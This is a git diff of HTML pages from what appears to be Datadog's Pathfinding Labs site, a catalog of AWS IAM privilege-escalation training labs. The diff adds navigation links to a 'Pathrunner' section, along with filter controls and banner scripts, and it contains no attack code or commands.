+                    <a href="/paths/" class="mobile-nav-link mobile-nav-child">Attack Paths</a>
+                    <a href="/paths/stats/" class="mobile-nav-link mobile-nav-child">Statistics</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Labs</span>
+                    <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
+                    <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
+            </nav>
+        </div>
+    </div>
+
+    <aside class="site-sidebar" id="site-sidebar">
+        <nav class="sidebar-nav">
+            <a href="/" class="sidebar-item" data-tooltip="Home">
+                <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><polyline points="9 22 9 12 15 12 15 22"/></svg>
+                <span class="sidebar-label">Home</span>
+            </a>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-paths">
+                <button class="sidebar-group-toggle" data-tooltip="Paths">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
+                    <span class="sidebar-label">Paths</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/paths/" class="sidebar-item sidebar-child" data-tooltip="Attack Paths">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><circle cx="12" cy="12" r="3"/><line x1="12" y1="2" x2="12" y2="5"/><line x1="12" y1="19" x2="12" y2="22"/><line x1="2" y1="12" x2="5" y2="12"/><line x1="19" y1="12" x2="22" y2="12"/></svg>
+                        <span class="sidebar-label">Attack Paths</span>
+                    </a>
+                    <a href="/paths/stats/" class="sidebar-item sidebar-child" data-tooltip="Statistics">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="20" x2="18" y2="10"/><line x1="12" y1="20" x2="12" y2="4"/><line x1="6" y1="20" x2="6" y2="14"/><line x1="2" y1="20" x2="22" y2="20"/></svg>
+                        <span class="sidebar-label">Statistics</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-labs">
+                <button class="sidebar-group-toggle" data-tooltip="Labs">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M10 2v7.31l-4.76 9.54A2 2 0 0 0 7 22h10a2 2 0 0 0 1.76-2.95L14 9.31V2"/><line x1="8.5" y1="2" x2="15.5" y2="2"/></svg>
+                    <span class="sidebar-label">Labs</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/labs/" class="sidebar-item sidebar-child" data-tooltip="Labs Catalog">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Labs Catalog</span>
+                    </a>
+                    <a href="/labs/getting-started/" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
+        </nav>
+
+        <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
+            <svg class="sidebar-icon collapse-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>
+            <span class="sidebar-label">Collapse</span>
+        </button>
+    </aside>
+
+    <div class="page-body">
+    <style>
+        /* Fix header overflow to allow dropdown to show */
+        header {
+            overflow: visible !important;
+        }
+
+        /* Dropdown menu styles */
+        .nav-dropdown {
+            position: relative;
+            display: flex;
+            align-items: center;
+        }
+
+        .nav-dropdown .dropdown-content {
+            display: none;
+            position: absolute;
+            top: 100%;
+            left: 0;
+            background: var(--card-background);
+            min-width: 180px;
+            box-shadow: 0 8px 16px rgba(0, 0, 0, 0.3);
+            border-radius: 8px;
+            z-index: 9999;
+            border: 2px solid var(--border-color);
+            padding-top: 12px;
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content::before {
+            content: '';
+            position: absolute;
+            top: 0;
+            left: 0;
+            right: 0;
+            height: 12px;
+            background: transparent;
+        }
+
+        .nav-dropdown .dropdown-content a {
+            color: var(--text-primary);
+            padding: 8px 16px;
+            text-decoration: none;
+            display: block;
+            transition: all 0.2s;
+            border-radius: 6px;
+            margin: 2px 4px;
+            position: relative;
+        }
+
+        .nav-dropdown .dropdown-content a:first-child {
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content a:hover {
+            background: var(--accent-purple);
+            color: white;
+            transform: translateX(4px);
+        }
+
+        .nav-dropdown .dropdown-content a.active {
+            color: var(--accent-color);
+            font-weight: 500;
+        }
+
+        .nav-dropdown .dropdown-content a.active::before {
+            content: '';
+            position: absolute;
+            left: 4px;
+            top: 50%;
+            transform: translateY(-50%);
+            width: 4px;
+            height: 4px;
+            background: var(--accent-color);
+            border-radius: 50%;
+        }
+
+        .nav-dropdown:hover .dropdown-content {
+            display: block;
+        }
+
+        .nav-dropdown:hover > .nav-link {
+            color: var(--accent-color);
+        }
+
+        /* Show white logo in dark mode, purple logo in light mode */
+        .datadog-logo-white {
+            display: block;
+        }
+
+        .datadog-logo-purple {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-white {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-purple {
+            display: block !important;
+        }
+    </style>
+
+    <nav class="container">
+        <div class="search-bar-container">
+            <div class="search-bar">
+                <input type="text" id="search" placeholder="Search labs by name, permission, or description...">
+            </div>
+            <div class="paths-count-display">
+                Showing <span id="filtered-labs-count">0</span> of <span id="total-labs-count">0</span> labs
+            </div>
+            <div class="filter-group view-toggle">
+                <label>View:</label>
+                <button id="view-cards" class="view-button active">Cards</button>
+                <button id="view-table" class="view-button">Table</button>
+            </div>
+        </div>
+        <div class="filters">
+            <!-- Category -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-category-filter">
+                <button class="filter-pill" data-filter="category-filter" type="button"><span class="filter-pill-key">Category</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-category-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
+                    <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
+                    <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
+                </div>
+                <select id="category-filter" hidden>
+                    <option value="">All Categories</option>
+                    <option value="Privilege Escalation">Privilege Escalation</option>
+                    <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
+                    <option value="CSPM: Toxic Combination">Toxic Combination</option>
+                </select>
+            </div>
+
+            <!-- Path Type -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-path-type-filter">
+                <button class="filter-pill" data-filter="path-type-filter" type="button"><span class="filter-pill-key">Type</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-path-type-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="self-escalation">Self-Escalation</div>
+                    <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
+                    <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
+                    <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
+                </div>
+                <select id="path-type-filter" hidden>
+                    <option value="">All Types</option>
+                    <option value="self-escalation">Self-Escalation</option>
+                    <option value="one-hop">One-Hop</option>
+                    <option value="multi-hop">Multi-Hop</option>
+                    <option value="cross-account">Cross-Account</option>
+                </select>
+            </div>
+
+            <!-- Cost -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-cost-filter">
+                <button class="filter-pill" data-filter="cost-filter" type="button"><span class="filter-pill-key">Cost</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-cost-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="free">Free</div>
+                    <div class="filter-pill-item" data-value="paid">Paid</div>
+                </div>
+                <select id="cost-filter" hidden>
+                    <option value="">All</option>
+                    <option value="free">Free</option>
+                    <option value="paid">Paid</option>
+                </select>
+            </div>
+
+            <!-- Hops (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-hops-filter">
+                <button class="filter-pill" data-filter="hops-filter" type="button"><span class="filter-pill-key">Hops</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-hops-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="hops-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Service (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-service-filter">
+                <button class="filter-pill" data-filter="service-filter" type="button"><span class="filter-pill-key">Service</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-service-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="service-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Online Play -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-online-filter">
+                <button class="filter-pill" data-filter="online-filter" type="button"><span class="filter-pill-key">Online Play</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-online-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="yes">Yes</div>
+                    <div class="filter-pill-item" data-value="no">No</div>
+                </div>
+                <select id="online-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="yes">Yes</option>
+                    <option value="no">No</option>
+                </select>
+            </div>
+
+            <!-- Start -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-start-filter">
+                <button class="filter-pill" data-filter="start-filter" type="button"><span class="filter-pill-key">Start</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-start-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-credentials">Credentials</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-network">Network (assumed)</div>
+                    <div class="filter-pill-item" data-value="public-network">Network (public)</div>
+                </div>
+                <select id="start-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="assumed-breach-credentials">Credentials</option>
+                    <option value="assumed-breach-network">Network (assumed)</option>
+                    <option value="public-network">Network (public)</option>
+                </select>
+            </div>
+
+            <!-- Target -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-target-filter">
+                <button class="filter-pill" data-filter="target-filter" type="button"><span class="filter-pill-key">Target</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-target-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="to-admin">Admin</div>
+                    <div class="filter-pill-item" data-value="to-bucket">Bucket</div>
+                </div>
+                <select id="target-filter" hidden>
+                    <option value="">All Targets</option>
+                    <option value="to-admin">Admin</option>
+                    <option value="to-bucket">Bucket</option>
+                </select>
+            </div>
+
+            <button id="reset-filters" class="filter-reset-btn" type="button">Reset</button>
+        </div>
+    </nav>
+
+    <style>
+        /* ── Getting Started CTA banner ── */
+        .gs-cta-banner {
+            display: none; /* shown by JS only if not dismissed */
+            position: relative;
+            border-radius: 12px;
+            border: 1px solid var(--border-color);
+            overflow: hidden;
+            margin-bottom: 20px;
+            background: var(--card-background);
+            transition: border-color 0.15s;
+        }
+        .gs-cta-banner:hover {
+            border-color: var(--accent-color);
+        }
+        .gs-cta-content-link {
+            display: grid;
+            grid-template-columns: 500px 1fr;
+            text-decoration: none;
+            color: inherit;
+        }
+        .gs-cta-text {
+            padding: 22px 52px 22px 24px; /* right pad leaves room for dismiss btn */
+            display: flex;
+            flex-direction: column;
+            justify-content: center;
+            gap: 5px;
+        }
+        .gs-cta-eyebrow {
+            font-size: 0.88rem;
+            font-weight: 700;
+            text-transform: uppercase;
+            letter-spacing: 0.1em;
+            color: var(--accent-color);
+        }
+        .gs-cta-title {
+            font-size: 1.05rem;
+            font-weight: 700;
+            color: var(--text-primary);
+            line-height: 1.2;
+        }
+        .gs-cta-desc {
+            font-size: 0.85rem;
+            color: var(--text-secondary);
+            line-height: 1.55;
+            max-width: 480px;
+        }
+        .gs-cta-action {
+            margin-top: 4px;
+            font-size: 0.82rem;
+            font-weight: 600;
+            color: var(--accent-color);
+            display: flex;
+            align-items: center;
+            gap: 5px;
+        }
+        .gs-cta-visual {
+            position: relative;
+            overflow: hidden;
+            height: 200px;
+            align-self: start;
+            border-left: 1px solid var(--border-color);
+            transition: border-left-color 0.15s;
+        }
+        .gs-cta-banner:hover .gs-cta-visual {
+            border-left-color: var(--accent-color);
+        }
+        .gs-cta-visual canvas {
+            display: block;
+            width: 100%;
+            height: 100%;
+        }
+        .gs-cta-dismiss {
+            position: absolute;
+            top: 10px;
+            right: 10px;
+            width: 26px;
+            height: 26px;
+            border-radius: 50%;
+            border: 1px solid var(--border-color);
+            background: var(--card-background);
+            color: var(--text-muted);
+            cursor: pointer;
+            display: flex;
+            align-items: center;
+            justify-content: center;
+            font-size: 1rem;
+            line-height: 1;
+            transition: background 0.15s, color 0.15s, border-color 0.15s;
+            z-index: 10;
+        }
+        .gs-cta-dismiss:hover {
+            background: var(--background-elevated);
+            color: var(--text-primary);
+            border-color: var(--text-muted);
+        }
+        @media (max-width: 640px) {
+            .gs-cta-content-link {
+                grid-template-columns: 1fr;
+            }
+            .gs-cta-visual { display: none; }
+        }
+    </style>
+
+    <main class="container">
+        <!-- List View -->
+        <div id="list-view">
+
+            <!-- Getting Started CTA (dismissed via localStorage) -->
+            <div id="gs-cta-banner" class="gs-cta-banner">
+                <a href="/labs/getting-started/" class="gs-cta-content-link">
+                    <div class="gs-cta-text">
+                        <div class="gs-cta-eyebrow">New here?</div>
+                        <div class="gs-cta-desc">The getting started guide covers AWS account prerequisites and setup, plabs binary installation and configuration, and suggests the first six labs — chosen to help you build a working mental model of AWS IAM privilege escalation before you explore the full catalog.</div>
+                        <div class="gs-cta-action">
+                            View the guide
+                            <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="5" y1="12" x2="19" y2="12"/><polyline points="12 5 19 12 12 19"/></svg>
+                        </div>
+                    </div>
+                    <div class="gs-cta-visual">
+                        <canvas id="gs-cta-canvas" aria-label="Interactive attack path map preview"></canvas>
+                    </div>
+                </a>
+                <button class="gs-cta-dismiss" id="gs-cta-dismiss" aria-label="Dismiss getting started banner">
+                    <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="6" x2="6" y2="18"/><line x1="6" y1="6" x2="18" y2="18"/></svg>
+                </button>
+            </div>
+
+            <div id="labs-container" class="paths-table-container">
+                <div class="loading">Loading lab scenarios...</div>
+            </div>
+        </div>
+
+        <!-- Detail View -->
+        <div id="detail-view" style="display: none;">
+            <div id="detail-content"></div>
+        </div>
+    </main>
+
+    <footer>
+        <div class="container">
+            <div class="footer-content">
+                <div class="footer-section">
+                    <p class="footer-curator">
+                        Created and curated by <a href="https://www.linkedin.com/in/sethart/" target="_blank" rel="noopener noreferrer">Seth Art</a> at <a href="https://securitylabs.datadoghq.com" target="_blank" rel="noopener noreferrer">Datadog</a>
+                    </p>
+                </div>
+                <div class="footer-section footer-links">
+                    <a href="https://github.com/DataDog/pathfinding-labs" target="_blank" rel="noopener noreferrer">pathfinding-labs on GitHub</a>
+                    <span class="footer-separator">&bull;</span>
+                    <a href="https://github.com/DataDog/pathfinding.cloud/issues" target="_blank" rel="noopener noreferrer">Report an Issue</a>
+                </div>
+            </div>
+        </div>
+    </footer>
+
+    <script type="text/javascript" src="https://unpkg.com/vis-network/standalone/umd/vis-network.min.js"></script>
+    <script src="/js/viz-shared.js?v=1"></script>
+    <script src="/js/labs.js?v=5"></script>
+    <script src="/js/map-game.js?v=2"></script>
+    </div><!-- /.page-body -->
+    <script src="/js/sidebar.js?v=1"></script>
+    <script>
+        (function () {
+            const banner = document.getElementById('gs-cta-banner');
+            const dismissBtn = document.getElementById('gs-cta-dismiss');
+            if (!banner || !dismissBtn) return;
+            if (localStorage.getItem('gsCtaDismissed') !== '1') {
+                banner.style.display = 'block';
+            }
+            dismissBtn.addEventListener('click', function (e) {
+                e.preventDefault();
+                e.stopPropagation();
+                localStorage.setItem('gsCtaDismissed', '1');
+                banner.style.display = 'none';
+            });
+        }());
+
+        // Live canvas banner -- "Getting Started" in the game's gold capcom font
+        // on the ocean-gradient background. No islands, no clouds.
+        (function () {
+            const canvas = document.getElementById('gs-cta-canvas');
+            if (!canvas) return;
+            const visual = canvas.closest('.gs-cta-visual');
+            if (!visual) return;
+
+            function renderBanner() {
+                const rect = visual.getBoundingClientRect();
+                const w = Math.round(rect.width);
+                const h = Math.round(rect.height);
+                if (w < 10 || h < 10) return;
+
+                const dpr = window.devicePixelRatio || 1;
+                canvas.width = w * dpr;
+                canvas.height = h * dpr;
+                canvas.style.width = w + 'px';
+                canvas.style.height = h + 'px';
+
+                const ctx = canvas.getContext('2d');
+                ctx.scale(dpr, dpr);
+
+                // Ocean gradient background (same as the game map)
+                const p = getMapPalette();
+                const bg = ctx.createLinearGradient(0, 0, 0, h);
+                bg.addColorStop(0,   p.oceanA);
+                bg.addColorStop(0.6, p.oceanB);
+                bg.addColorStop(1,   p.oceanDeep);
+                ctx.fillStyle = bg;
+                ctx.fillRect(0, 0, w, h);
+
+                // Dark gradient scrim from the top (matches variant-5 game map)
+                const isLight = document.documentElement.classList.contains('light-theme');
+                const scrim = ctx.createLinearGradient(0, 0, 0, h);
+                scrim.addColorStop(0,   isLight ? 'rgba(0,0,0,0.82)' : 'rgba(0,0,0,0.92)');
+                scrim.addColorStop(0.6, isLight ? 'rgba(0,0,0,0.40)' : 'rgba(0,0,0,0.50)');
+                scrim.addColorStop(1,   'rgba(0,0,0,0)');
+                ctx.fillStyle = scrim;
+                ctx.fillRect(0, 0, w, h);
+
+                // Scale the heading so "GETTING STARTED" fills 80% of canvas width.
+                // Measure at the reference LAB_SIZE (26px at scale=1) to get the ratio.
+                const REF_SIZE = 26;
+                ctx.font = `900 ${REF_SIZE}px -apple-system, BlinkMacSystemFont, sans-serif`;
+                ctx.letterSpacing = '0.04em';
+                const refW = ctx.measureText('GETTING STARTED').width;
+                ctx.letterSpacing = 'normal';
+                const scale = Math.max(0.3, (w * 0.60) / refW);
+                drawCapcomHeader(ctx, w, 0, 'Getting Started', {
+                    brandText: 'PATHFINDING LABS',
+                    zoneH: h,
+                    scale: scale,
+                });
+            }
+
+            // Defer first render so the element has a computed layout size.
+            requestAnimationFrame(function () { renderBanner(); });
+
+            new ResizeObserver(function () { renderBanner(); }).observe(visual);
+
+            new MutationObserver(function () { renderBanner(); }).observe(
+                document.documentElement, { attributes: true, attributeFilter: ['class'] }
+            );
+        }());
+    </script>
+</body>
+</html>
diff --git a/docs/labs/lambda-003/index.html b/docs/labs/lambda-003/index.html
index 04d22e02..694f73b8 100644
--- a/docs/labs/lambda-003/index.html
+++ b/docs/labs/lambda-003/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
